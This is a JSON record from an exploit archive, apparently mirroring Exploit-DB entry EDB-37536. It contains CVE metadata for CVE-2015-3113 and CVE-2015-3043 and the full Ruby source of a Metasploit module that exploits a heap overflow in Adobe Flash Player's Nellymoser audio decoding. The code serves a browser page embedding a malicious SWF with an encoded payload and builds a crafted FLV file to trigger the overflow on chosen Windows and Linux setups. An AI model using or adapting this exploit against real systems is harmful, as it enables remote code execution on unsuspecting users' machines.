{"exploit":{"id":"EDB-37536","name":"Adobe Flash Player - Nellymoser Audio Decoding Buffer Overflow (Metasploit)","description":"Adobe Flash Player - Nellymoser Audio Decoding Buffer Overflow (Metasploit)","cves":["CVE-2015-3113","CVE-2015-3043"],"author":"Metasploit","published":"2015-07-08","platform":"multiple","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/37536","path":"exploits/multiple/remote/37536.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-37536.rb","vulnerabilities":[{"id":"CVE-2015-3113","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in Adobe Flash Player before 13.0.0.296 and 14.x through 18.x before 18.0.0.194 on Windows and OS X and before 11.2.202.468 on Linux allows remote attackers to execute arbitrary code via unspecified vectors, as exploited in the wild in June 2015.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3113","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3113"},"updatedAt":"2025-11-17T19:58:58.523Z","retrievedAt":"2026-11-27T05:06:36.908Z","stale":false,"error":null},{"id":"CVE-2015-3043","state":"PUBLISHED","title":null,"titleSource":null,"description":"Adobe Flash Player before 13.0.0.281 and 14.x through 17.x before 17.0.0.169 on Windows and OS X and before 11.2.202.457 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in April 2015, a different vulnerability than CVE-2015-0347, CVE-2015-0350, CVE-2015-0352, CVE-2015-0353, CVE-2015-0354, CVE-2015-0355, CVE-2015-0360, CVE-2015-3038, CVE-2015-3041, and CVE-2015-3042.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3043","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3043"},"updatedAt":"2025-11-17T20:02:02.669Z","retrievedAt":"2026-11-27T05:06:36.913Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-37536.png?v=2","url":"https://exploitbin.com/exploits/EDB-37536","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-37536/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-37536/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking\n\n  include Msf::Exploit::Remote::BrowserExploitServer\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'                => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',\n      'Description'         => %q{\n        This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser\n        encoded audio inside a FLV video, as exploited in the wild on June 2015. This module\n        has been tested successfully on:\n        Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,\n        Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,\n        Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,\n        Linux Mint \"Rebecca\" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and\n        Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.\n        Note that this exploit is effective against both CVE-2015-3113 and the\n        earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression\n        to the same root cause as CVE-2015-3043.\n      },\n      'License'             => MSF_LICENSE,\n      'Author'              =>\n        [\n          'Unknown', # Exploit in the wild\n          'juan vazquez' # msf module\n        ],\n      'References'          =>\n        [\n          ['CVE', '2015-3043'],\n          ['CVE', '2015-3113'],\n          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],\n          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],\n          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],\n          ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],\n          ['URL', 'http://bobao.360.cn/learning/detail/357.html']\n        ],\n      'Payload'             =>\n        {\n          'DisableNops' => true\n        },\n      'Platform'            => ['win', 'linux'],\n      'Arch'                => [ARCH_X86],\n      'BrowserRequirements' =>\n        {\n          :source  => /script|headers/i,\n          :arch    => ARCH_X86,\n          :os_name => lambda do |os|\n            os =~ OperatingSystems::Match::LINUX ||\n              os =~ OperatingSystems::Match::WINDOWS_7 ||\n              os =~ OperatingSystems::Match::WINDOWS_81\n          end,\n          :ua_name => lambda do |ua|\n            case target.name\n            when 'Windows'\n              return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF\n            when 'Linux'\n              return true if ua == Msf::HttpClients::FF\n            end\n\n            false\n          end,\n          :flash   => lambda do |ver|\n            case target.name\n            when 'Windows'\n              return true if ver =~ /^18\\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161')\n              return true if ver =~ /^17\\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169')\n            when 'Linux'\n              return true if ver =~ /^11\\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457')\n            end\n\n            false\n          end\n        },\n      'Targets'             =>\n        [\n          [ 'Windows',\n            {\n              'Platform' => 'win'\n            }\n          ],\n          [ 'Linux',\n            {\n              'Platform' => 'linux'\n            }\n          ]\n        ],\n      'Privileged'          => false,\n      'DisclosureDate'      => 'Jun 23 2015',\n      'DefaultTarget'       => 0))\n  end\n\n  def exploit\n    @swf = create_swf\n    @flv = create_flv\n\n    super\n  end\n\n  def on_request_exploit(cli, request, target_info)\n    print_status(\"Request: #{request.uri}\")\n\n    if request.uri =~ /\\.swf$/\n      print_status('Sending SWF...')\n      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})\n      return\n    end\n\n    if request.uri =~ /\\.flv$/\n      print_status('Sending FLV...')\n      send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})\n      return\n    end\n\n    print_status('Sending HTML...')\n    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})\n  end\n\n  def exploit_template(cli, target_info)\n    swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\n    target_payload = get_payload(cli, target_info)\n    b64_payload = Rex::Text.encode_base64(target_payload)\n    os_name = target_info[:os_name]\n\n    if target.name =~ /Windows/\n      platform_id = 'win'\n    elsif target.name =~ /Linux/\n      platform_id = 'linux'\n    end\n\n    html_template = %Q|<html>\n    <body>\n    <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n    <param name=\"movie\" value=\"<%=swf_random%>\" />\n    <param name=\"allowScriptAccess\" value=\"always\" />\n    <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\" />\n    <param name=\"Play\" value=\"true\" />\n    <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\" Play=\"true\"/>\n    </object>\n    </body>\n    </html>\n    |\n\n    return html_template, binding()\n  end\n\n  def create_swf\n    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')\n    swf =  ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end\n\n  def create_flv\n    header = ''\n    header << 'FLV' # signature\n    header << [1].pack('C') # version\n    header << [4].pack('C') # Flags: TypeFlagsAudio\n    header << [9].pack('N') # DataOffset\n\n    data = ''\n    data << \"\\x68\" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0\n    data << \"\\xee\" * 0x440 # SoundData\n\n    tag1 = ''\n    tag1 << [8].pack('C')  # TagType (audio)\n    tag1 << \"\\x00\\x04\\x41\" # DataSize\n    tag1 << \"\\x00\\x00\\x1a\" # TimeStamp\n    tag1 << [0].pack('C')  # TimeStampExtended\n    tag1 << \"\\x00\\x00\\x00\" # StreamID, always 0\n    tag1 << data\n\n    body = ''\n    body << [0].pack('N') # PreviousTagSize\n    body << tag1\n    body << [0xeeeeeeee].pack('N') # PreviousTagSize\n\n    flv = ''\n    flv << header\n    flv << body\n\n    flv\n  end\nend","sha256":"347dd892b37e0099f233de180122daf7ceff3eae944c0fe066c885c9e00049c6","bytes":6629,"fetchedAt":"2026-11-27T05:06:36.787Z","encoding":"utf-8 (display only; download retains original bytes)"}